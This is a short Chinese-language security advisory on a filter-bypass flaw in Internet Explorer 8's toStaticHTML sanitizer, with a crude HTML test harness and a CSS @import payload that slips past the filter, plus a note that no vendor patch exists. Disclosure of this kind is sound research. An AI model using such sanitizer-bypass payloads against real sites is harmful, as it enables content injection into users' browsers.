受影响系统:
Microsoft Internet Explorer 8.0
描述:
BUGTRAQ ID: 42467
Internet Explorer是Windows操作系统中默认捆绑的web浏览器。
IE8中对窗口对象提供了名为toStaticHTML的过滤方式。如果向这个函数传送了HTML字符串,在返回之前会删除所有可执行的脚本结构。例如,可使用toStaticHTML方式确保从postMessage调用所接收到的HTML无法执行脚本,但可利用基本格式:
document.attachEvent(‘onmessage’,function(e) {
if (e.domain == ‘weather.example.com’) {
spnWeather.innerHTML = window.toStaticHTML(e.data);
}
}
调用:
window.toStaticHTML("This is some <b>HTML</b> with embedded script following… <script>alert(‘bang!’);</script>!");
会返回:
This is some <b>HTML</b> with embedded script following… !
<*来源:Web Sec (root@80sec.com)
链接:http://marc.info/?l=full-disclosure&m=128195068129446&q=p5
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<script type="text/javascript">
function fuckie()
{
var szInput = document.shit.input.value;
var szStaticHTML = toStaticHTML(szInput);
ResultComment = szStaticHTML;
document.shit.output.value = ResultComment;
}
</script>
<form name="shit">
<textarea name=’input’ cols=40 rows=20>
</textarea>
<textarea name=’output’ cols=40 rows=20>
</textarea>
<input type=button value="fuck_me" name="fuck" onclick=fuckie();>
</form>
<style>
}@import url(‘//127.0.0.1/1.css’);aaa
{;}
</style>
<div id="x">Fuck Ie</div>
建议:
厂商补丁:
Microsoft
———
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
0 条评论。